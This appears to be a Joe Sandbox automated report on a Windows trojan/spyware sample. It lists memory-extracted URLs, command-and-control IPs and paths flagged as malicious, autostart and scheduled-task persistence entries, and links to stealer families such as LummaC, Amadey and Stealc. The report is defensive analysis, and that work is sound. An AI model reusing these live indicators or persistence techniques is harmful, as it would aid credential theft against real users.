https://spocs.getpocket.com/	firefox.exe, 0000001B.00000002.2768561269.00000283C8FF9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2758007012.00000283C4803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2694303008.00000283BDD45000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2702764517.00000283BF0A3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2731677893.00000283C2017000.00000004.00000800.00020000.00000000.sdmp	false		high
https://services.addons.mozilla.org/api/v4/abuse/report/addon/	firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	false		high
https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%	firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	false		high
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	false		high
https://ebay.comP	firefox.exe, 0000001B.00000002.2809222794.0000308A79704000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.iqiyi.com/	firefox.exe, 0000001B.00000002.2727458058.00000283C16B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2660056563.00000283C9187000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2688089288.00000283BD1E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2778488192.00000283C914E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://monitor.firefox.com/user/breach-stats?includeResolved=true	firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	false		high
https://bugzilla.mozilla.org/show_bug.cgi?id=1584464	firefox.exe, 0000001B.00000002.2758063646.00000283C48F4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2688089288.00000283BD172000.00000004.00000800.00020000.00000000.sdmp	false		high
https://yandex.com	firefox.exe, 0000001B.00000002.2809222794.0000308A79704000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/~2	d657e56348.exe, 00000009.00000003.2705844980.0000000005D6D000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2657676204.0000000005D6F000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2670653424.0000000005D6D000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2809214340.0000000005D6D000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2633690561.0000000005D6F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://monitor.firefox.com/about	firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	false		high
https://account.bellmedia.c	firefox.exe, 0000001B.00000002.2753800184.00000283C4371000.00000004.00000800.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com	firefox.exe, 0000001B.00000002.2749196491.00000283C4113000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2753800184.00000283C4371000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2731677893.00000283C2017000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.zhihu.com/	firefox.exe, 0000001B.00000002.2688089288.00000283BD1E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2768561269.00000283C8F3F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	d657e56348.exe, 00000007.00000003.2485248682.0000000005887000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2604964446.0000000005DED000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2733701658.00000283C26BF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	d657e56348.exe, 00000007.00000003.2485248682.0000000005887000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2604964446.0000000005DED000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2733701658.00000283C26BF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://infra.spec.whatwg.org/#ascii-whitespace	firefox.exe, 0000001B.00000002.2766176950.00000283C8E44000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206GIE	7208c9365d.exe, 00000008.00000002.2866992029.00000000008B4000.00000040.00000001.01000000.0000000A.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/$:	d657e56348.exe, 00000009.00000003.2808884939.00000000017F1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://support.mozilla.org/products/firefoxgro.all	d657e56348.exe, 00000009.00000003.2613017560.0000000006000000.00000004.00000800.00020000.00000000.sdmp	false		high
https://firefox.settings.services.mozilla.com/v1AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo	firefox.exe, 0000001B.00000002.2688089288.00000283BD103000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mail.yahoo.co.jp/compose/?To=%s	firefox.exe, 0000001B.00000003.2589079620.00000283BF633000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2702764517.00000283BF0B6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2588356728.00000283BF621000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2685493089.00000283BCD7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2688089288.00000283BD172000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2706713703.00000283BF62B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2587818426.00000283BF633000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile.services.mozilla.com/v1/tiles	firefox.exe, 0000001B.00000002.2768561269.00000283C8F92000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.co.uk/	firefox.exe, 0000001B.00000003.2660056563.00000283C9187000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2778488192.00000283C914E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://monitor.firefox.com/user/preferences	firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	false		high
https://screenshots.firefox.com/	firefox.exe, 0000001B.00000002.2731677893.00000283C2017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2710514692.00000283C0AA3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gpuweb.github.io/gpuweb/	firefox.exe, 0000001B.00000002.2758063646.00000283C48F4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://firefox-source-docs.mozilla.org/remote/Security.html	firefox.exe, 0000001B.00000002.2688089288.00000283BD126000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report	firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpser	7208c9365d.exe, 00000008.00000002.2866992029.0000000000947000.00000040.00000001.01000000.0000000A.sdmp	false	Avira URL Cloud: malware	unknown
https://www.wykop.pl/	firefox.exe, 0000001B.00000003.2660056563.00000283C9187000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2740059264.00000283C3403000.00000004.00000800.00020000.00000000.sdmp	false		high
https://vk.com/	firefox.exe, 0000001B.00000002.2727458058.00000283C16B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2688089288.00000283BD1E0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.olx.pl/	firefox.exe, 0000001B.00000003.2660056563.00000283C9187000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2740059264.00000283C3403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2768561269.00000283C8F3F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4	firefox.exe, 0000001B.00000002.2686421290.00000283BD02C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2	firefox.exe, 0000001B.00000002.2686421290.00000283BD02C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/google/closure-compiler/issues/3177	firefox.exe, 0000001B.00000002.2766176950.00000283C8E44000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2642876277.00000283C8E4C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://spocs.getpocket.com/userpreffedRegionsBlockString	firefox.exe, 0000001B.00000002.2731677893.00000283C2017000.00000004.00000800.00020000.00000000.sdmp	false		high
https://webextensions.settings.services.mozilla.com/v1	firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	false		high
https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts	firefox.exe, 0000001B.00000002.2722846466.00000283C1052000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration	firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	false		high
https://addons.mozilla.org/%LOCALE%/firefox/	firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	false		high
https://www.avito.ru/	firefox.exe, 0000001B.00000002.2727458058.00000283C16B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2660056563.00000283C9187000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2688089288.00000283BD1E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2778488192.00000283C914E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://developer.mozilla.org/en/docs/DOM:element.removeEventListener	firefox.exe, 0000001B.00000002.2686421290.00000283BD011000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2686421290.00000283BD02C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://spocs.getpocket.com	firefox.exe, 0000001B.00000002.2768561269.00000283C8F92000.00000004.00000800.00020000.00000000.sdmp	false		high
https://developers.google.com/safe-browsing/v4/advisory	firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	false		high
https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881	firefox.exe, 0000001B.00000002.2679974764.00000283B0F11000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2688089288.00000283BD103000.00000004.00000800.00020000.00000000.sdmp	false		high
http://poczta.interia.pl/mh/?mailto=%s	firefox.exe, 0000001B.00000002.2685493089.00000283BCD7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2688089288.00000283BD172000.00000004.00000800.00020000.00000000.sdmp	false		high
https://smartblock.firefox.etp/play.svg	firefox.exe, 0000001B.00000002.2688089288.00000283BD103000.00000004.00000800.00020000.00000000.sdmp	false		high
https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr	firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	false		high
https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windows	firefox.exe, 0000001B.00000002.2686421290.00000283BD02C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://e.mail.ru/cgi-bin/sentmsg?mailto=%shttps://mail.yahoo.co.jp/compose/?To=%s	firefox.exe, 0000001B.00000002.2688089288.00000283BD172000.00000004.00000800.00020000.00000000.sdmp	false		high
https://screenshots.firefox.com/about-compat/aboutPage.js	firefox.exe, 0000001B.00000002.2688089288.00000283BD172000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://twitter.com	firefox.exe, 0000001B.00000002.2809222794.0000308A79704000.00000004.00000800.00020000.00000000.sdmp	false		high
https://e.mail.ru/cgi-bin/sentmsg?mailto=%s	firefox.exe, 0000001B.00000003.2589079620.00000283BF633000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2702764517.00000283BF0B6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2588356728.00000283BF621000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2685493089.00000283BCD7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2688089288.00000283BD172000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2706713703.00000283BF62B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2587818426.00000283BF633000.00000004.00000800.00020000.00000000.sdmp	false		high
https://youtube.com?P	firefox.exe, 0000001B.00000002.2810237729.000039FC4C600000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206s.exe	7208c9365d.exe, 00000008.00000002.2866992029.0000000000947000.00000040.00000001.01000000.0000000A.sdmp	false		high
http://compose.mail.yahoo.co.jp/ym/Compose?To=%shttp://win.mail.ru/cgi-bin/sentmsg?mailto=%s	firefox.exe, 0000001B.00000002.2688089288.00000283BD172000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://firefox-api-proxy.cdn.mozilla.net/	firefox.exe, 0000001B.00000002.2731677893.00000283C2017000.00000004.00000800.00020000.00000000.sdmp	false		high
https://firefox-source-docs.mozilla.org/performance/scroll-linked_effects.html	firefox.exe, 0000001B.00000002.2686421290.00000283BD011000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
13.107.246.45	s-part-0017.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.107.246.60	s-part-0032.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
34.117.188.166	contile.services.mozilla.com	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
142.250.184.228	www.google.com	United States	15169	GOOGLEUS	false
142.250.184.206	youtube.com	United States	15169	GOOGLEUS	false
62.76.234.151	fvtejj5vs.top	Russian Federation	50113	SUPERSERVERSDATACENTERRU	false
34.120.208.123	telemetry-incoming.r53-2.services.mozilla.com	United States	15169	GOOGLEUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
34.149.100.209	prod.remote-settings.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
34.107.243.93	push.services.mozilla.com	United States	15169	GOOGLEUS	false
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
35.244.181.201	prod.balrog.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.185.196	unknown	United States	15169	GOOGLEUS	false
188.114.96.3	cook-rain.sbs	European Union	13335	CLOUDFLARENETUS	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false
34.160.144.191	prod.content-signature-chains.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false

Private

IP
192.168.2.17
192.168.2.16
192.168.2.4
192.168.2.22
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1557997
Start date and time:	2024-11-18 21:02:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 19m 36s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	59
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@124/33@240/25
EGA Information:	Successful, ratio: 25%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Max analysis timeout: 600s exceeded, the analysis took too long
Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): MpCmdRun.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 2.22.50.131, 192.229.221.95, 74.125.133.84, 216.58.212.174, 216.58.206.35, 184.28.89.167, 142.250.185.227, 142.250.185.78, 142.250.110.84, 34.104.35.123, 88.221.170.101, 20.42.65.92, 52.12.64.98, 35.164.125.63, 35.80.238.59, 40.79.150.121, 142.250.184.234, 142.250.186.106, 142.250.185.202, 142.250.185.170, 172.217.18.10, 142.250.186.170, 216.58.212.138, 142.250.185.138, 142.250.185.234, 142.250.185.74, 216.58.206.74, 142.250.181.234, 142.250.185.106, 172.217.23.106, 142.250.186.74, 172.217.16.202, 142.250.185.195, 2.22.61.59, 142.250.186.110, 52.182.143.212, 142.250.186.46, 52.182.143.210, 13.74.129.1, 13.107.21.237, 204.79.197.237
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, clientservices.googleapis.com, browser.events.data.trafficmanager.net, aus5.mozilla.org, learn.microsoft.com, a19.dscg10.akamai.net, e11290.dspg.akamaiedge.net, onedscolprdfrc05.francecentral.cloudapp.azure.com, clients2.google.com, ocsp.digicert.com, onedsblobprdcus15.centralus.cloudapp.azure.com, login.live.com, star-azurefd-prod.trafficmanager.net, learn.microsoft.com.edgekey.net, update.googleapis.com, normandy-cdn.services.mozilla.com, onedscolprdcus10.centralus.cloudapp.azure.com, fs.microsoft.com, shavar.prod.mozaws.net, content-autofill.googleapis.com, c-bing-com.dual-a-0034.a-msedge.net, learn.microsoft.com.edgekey.net.globalredir.akadns.net, normandy.cdn.mozilla.net, onedsblobprdeus17.eastus.cloudapp.azure.com, edgedl.me.gvt1.com, c.bing.com, blobcollector.events.data.trafficmanager.net, umwatson.events.data.microsoft.com, clients.l.google.com, location.services.mozilla.com, services.addons.mozilla.org, ciscobinary.openh264.or
Execution Graph export aborted for target file.exe, PID 7424 because it is empty
Execution Graph export aborted for target skotes.exe, PID 7608 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 7620 because there are no executed function
HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
15:04:01	API Interceptor	11331460x Sleep call for process: skotes.exe modified
15:04:13	API Interceptor	116x Sleep call for process: d657e56348.exe modified
15:04:30	API Interceptor	243x Sleep call for process: 7208c9365d.exe modified
15:04:55	API Interceptor	1x Sleep call for process: WerFault.exe modified
15:05:01	API Interceptor	1x Sleep call for process: firefox.exe modified
15:05:06	API Interceptor	6671596x Sleep call for process: 193820fbcc.exe modified
20:03:10	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
20:04:11	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run d657e56348.exe C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe
20:04:20	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 7208c9365d.exe C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe
20:04:28	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 9ef14397f2.exe C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe
20:04:37	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run c459772a8a.exe C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe
20:04:45	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run d657e56348.exe C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe
20:04:54	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 7208c9365d.exe C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe
20:05:03	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 9ef14397f2.exe C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe
20:05:12	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run c459772a8a.exe C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe
20:09:12	Task Scheduler	Run new task: ServiceData4 path: C:\Users\user\AppData\Local\Temp\/service123.exe
20:10:16	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 321a013eff.exe C:\Users\user\AppData\Local\Temp\1007234001\321a013eff.exe
20:10:25	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run d20692854e.exe C:\Users\user\AppData\Local\Temp\1007235001\d20692854e.exe
20:10:33	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 02e7459ef7.exe C:\Users\user\AppData\Local\Temp\1007236001\02e7459ef7.exe
20:10:42	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 67a7c5eabb.exe C:\Users\user\AppData\Local\Temp\1007237001\67a7c5eabb.exe
20:10:50	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 321a013eff.exe C:\Users\user\AppData\Local\Temp\1007234001\321a013eff.exe
20:10:58	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run d20692854e.exe C:\Users\user\AppData\Local\Temp\1007235001\d20692854e.exe
20:11:06	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 02e7459ef7.exe C:\Users\user\AppData\Local\Temp\1007236001\02e7459ef7.exe
20:11:14	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 67a7c5eabb.exe C:\Users\user\AppData\Local\Temp\1007237001\67a7c5eabb.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
13.107.246.45	https://pcefan.com/diary/index.php?st-manager=1&path=/click/track&id=4973&type=ranking&url=http://nam.dcv.ms/BxPVLH2cz4	Get hash	malicious	HTMLPhisher	Browse	nam.dcv.ms/BxPVLH2cz4

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
example.org	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	93.184.215.14
star-mini.c10r.facebook.com	http://winningwriters.com	Get hash	malicious	Unknown	Browse	157.240.0.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.0.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.0.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.0.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.0.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.253.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.0.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.0.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.253.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.0.35
twitter.com	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.129
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.193
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.129
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.1
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.65
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.1
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.1
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.1
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.1

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	https://betacambridge.com/n/?c3Y9bzM2NV8xX25vbSZyYW5kPVZuaHpSMUE9JnVpZD1VU0VSMjkxMDIwMjRVNDAxMDI5MjA=N0123N	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.246.45
	Play_vm_Message_for_Melissa.medina_wav_ .htm	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.67
	Portfolio Review _2024.html	Get hash	malicious	Unknown	Browse	40.126.32.138
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	mips.elf	Get hash	malicious	Mirai	Browse	20.232.217.209
	phish_alert_sp2_2.0.0.0.eml	Get hash	malicious	Unknown	Browse	20.189.173.25
	NoteID [4962398] _Secure_Document_Mrettinger-46568.docx	Get hash	malicious	HTMLPhisher	Browse	13.107.246.60
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.44
GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
